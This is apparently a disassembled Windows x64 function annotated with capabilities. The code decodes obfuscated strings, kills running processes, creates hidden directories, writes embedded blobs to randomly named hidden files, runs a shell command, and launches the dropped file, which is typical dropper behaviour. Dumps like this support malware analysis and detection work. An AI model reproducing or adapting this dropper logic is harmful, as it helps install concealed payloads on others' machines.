Function at 0x140081630
Capabilities:
Create directory
Create process on windows
Delete file
Execute command
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x278]
sub rsp, 0x370
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x260], rax
call fcn.14007eb40
mov dword [rbp - 0x18], 0x20552625
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007e280
lea r8, [0x1406903b0]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007e3b0
cmp qword [rax + 0x18], 0x10
jb 0x1400816a7
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140692f88], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b590
nop
cmp qword [0x140692f88], 0xffffffffffffffff
jne 0x1400817eb
mov dword [rsp + 0x40], 0x1b2e3939
mov dword [rsp + 0x44], 0xe1e8f60d
mov dword [rsp + 0x48], 0xfee0aae6
mov word [rsp + 0x4c], 0xe2
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e40
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5f0
mov rcx, rax
call fcn.14007ec70
test eax, eax
je 0x140081817
lea ecx, [r14 + 0xc]
call fcn.1400815c0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d6ce0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d6ef0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d6c40]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d6e10]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d6d30]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0xe5
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.140084a70
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007caf0
lea rdx, [0x14007ccc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0xd081d0b
mov word [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_26
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140084d50
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.140087600
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
movdqa xmm0, xmmword [0x1402d6f30]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0xee
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140084db0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5f0
mov rcx, rax
call fcn.14007ec70
test eax, eax
je 0x1400818c8
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400815c0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d6cf0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d6e30]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d6d80]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d6e00]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d6cc0]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xaba9ada4
mov dword [rbp - 0x2c], 0x100febd
lea rcx, [rbp - 0x80]
call fcn.140084a40
lea rdx, [rbp - 0x80]
jmp 0x1400817a8
movdqa xmm0, xmmword [0x1402d6fa0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xa0e8efe2
mov dword [rsp + 0x54], 0xf4e8ea
mov byte [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call fcn.140084b00
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5f0
mov rcx, rax
call fcn.14007ec70
test eax, eax
je 0x14008193a
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0x1b393d3e
mov dword [rsp + 0x44], 0xedf5eb0c
mov dword [rsp + 0x48], 0xfee0aaf3
mov word [rsp + 0x4c], 0xe2
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e40
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b5f0
mov rcx, rax
call fcn.14007ec70
test eax, eax
je 0x1400819ad
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0x1004638
lea rcx, [rsp + 0x40]
call fcn.140084bc0
lea rax, [rsp + 0x40]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400819d0
lea rdx, [rsp + 0x40]
lea rdi, [0x14068fef0]
mov rcx, rdi
call fcn.14007c730
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140081480
movzx edx, al
lea rcx, [0x140690010]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x140690410]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x14068fcb0]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x14068fc90]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x14068fdb0]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x1406901f0]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x1406901b0]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x140690030]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x140690330]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x14068fe50]
call fcn.14007c590
call fcn.140081480
movzx edx, al
lea rcx, [0x140690350]
call fcn.14007c590
sub rbx, 1
jne 0x140081a04
lea rcx, [rbp + 0xf0]
call fcn.14007d2e0
lea rcx, [rbp + 0xf0]
call fcn.14007c570
nop
lea rcx, [rbp + 0x110]
call fcn.14007d2e0
lea rcx, [rbp + 0x110]
call fcn.14007c570
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.140081280
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.14007d310
nop
lea rcx, [rsp + 0x60]
call fcn.14007b590
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000003
jge 0x140081b80
dec eax
or eax, 0xfffffffc
inc eax
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.140081380
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007d310
nop
lea rcx, [rsp + 0x60]
call fcn.14007b590
nop
mov word [rsp + 0x40], Ordinal_46
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b480
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081bd0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c730
lea rdx, [rbp + 0xf0]
mov rcx, rdi
call fcn.14007b570
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b570
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x14068fef0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x14068fef0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], Ordinal_46
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b480
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081c60
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c730
nop
lea rcx, [rbp + 0x90]
call fcn.14007d2e0
lea rcx, [rbp + 0x90]
call fcn.14007c570
nop
lea rdx, [0x140690350]
lea rcx, [rbp + 0x90]
call fcn.14007b570
mov dword [rsp + 0x40], 0xf020957
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e280
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081cc5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007c730
nop
lea rcx, [rbp + 0x70]
call fcn.14007d2e0
lea rcx, [rbp + 0x70]
call fcn.14007c570
nop
lea rdx, [0x140690010]
lea rcx, [rbp + 0x70]
call fcn.14007b570
mov dword [rsp + 0x40], 0x19031f57
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e280
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081d25
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007c730
lea r8, [rbp + 0x90]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140085cc0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0x70]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.140085cc0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2e8800]
lea rdx, [0x1402f5a10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x140675810]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007d2e0
lea rcx, [rbp + 0x30]
call fcn.14007c570
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b570
mov word [rsp + 0x40], 0x56
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b480
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081ef0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007c730
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b570
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007ea80
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.14007b650
mov rcx, rax
call fcn.14007ec70
mov rbx, rax
test eax, eax
je 0x140081f8e
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007d2e0
lea rcx, [rbp + 0x50]
call fcn.14007c570
nop
mov dword [rsp + 0x40], 0x1b571506
mov dword [rsp + 0x44], 0x81a1f0b
mov dword [rsp + 0x48], 0x1005e18
lea rcx, [rsp + 0x40]
call fcn.14007b1d0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081fd0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c730
lea rdx, [0x1406903b0]
lea rcx, [rbp + 0x50]
call fcn.14007b570
mov dword [rsp + 0x40], 0x161e1455
mov dword [rsp + 0x44], 0x140f1b09
mov dword [rsp + 0x48], 0x1005e40
lea rcx, [rsp + 0x40]
call fcn.14007b1d0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082022
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c730
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b570
mov dword [rsp + 0x40], 0xe04085b
mov dword [rsp + 0x44], 0xe9a1bd1a
mov dword [rsp + 0x48], 0xe3ebf6e6
mov word [rsp + 0x4c], 0xeb
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e40
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082080
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c730
mov dword [rsp + 0x40], 0xa581405
mov dword [rsp + 0x44], 0x5d0c140e
mov dword [rsp + 0x48], 0xe4e31e18
mov dword [rsp + 0x4c], 0x100f7eb
lea rcx, [rsp + 0x40]
call fcn.14007b490
lea rcx, [rsp + 0x40]
call fcn.14007ea80
movdqa xmm0, xmmword [0x1402d6fb0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084ea0
lea rcx, [rsp + 0x40]
call fcn.14007ea80
mov dword [rsp + 0x40], 0xd5d1f08
mov dword [rsp + 0x44], 0xa2f1ef0b
mov dword [rsp + 0x48], 0xeee3f5
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140084d20
lea rcx, [rsp + 0x40]
call fcn.14007ea80
mov dword [rsp + 0x40], 0x1a5d1f08
mov dword [rsp + 0x44], 0xf6e4ec1a
mov dword [rsp + 0x48], 0xe1f3a4e6
mov word [rsp + 0x4c], 0xec
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084e40
lea rcx, [rsp + 0x40]
call fcn.14007ea80
nop
lea rcx, [rbp + 0xb0]
call fcn.14007d2e0
lea rcx, [rbp + 0xb0]
call fcn.14007c570
nop
mov dword [rsp + 0x40], 0xd5d1f08
mov dword [rsp + 0x44], 0xa2f1ef0b
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084e70
lea rax, [rsp + 0x40]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400821a0
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007c730
lea rdx, [0x1406903b0]
lea rcx, [rbp + 0xb0]
call fcn.14007b570
lea rcx, [rbp + 0x130]
call fcn.14007b630
nop
mov dword [rsp + 0x40], 0x1c571506
mov dword [rsp + 0x44], 0x81e161c
mov dword [rsp + 0x48], 0x1005e18
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007e920
lea rdx, [0x1406903b0]
lea rcx, [rbp + 0x130]
call fcn.14007b570
lea rcx, [rbp + 0xd0]
call fcn.14007b630
nop
mov dword [rsp + 0x40], 0xa581405
mov dword [rsp + 0x44], 0x90e1a0e
mov word [rsp + 0x48], 0x5e
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b350
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14007e920
lea rdx, [0x1406903b0]
lea rcx, [rbp + 0xd0]
call fcn.14007b570
lea rcx, [rbp + 0xb0]
call fcn.14007b560
mov rcx, rax
call fcn.14007ea80
lea rcx, [rbp + 0x130]
call fcn.14007b560
mov rcx, rax
call fcn.14007ea80
lea rcx, [rbp + 0x10]
call fcn.140080a10
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x150]
call fcn.14007e980
inc rax
mov qword [0x140692f58], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
call fcn.14007b560
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
call fcn.14007b560
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rbx, qword [0x140692f58]
mov dword [rsp + 0x40], 0x121e0a16
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e250
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3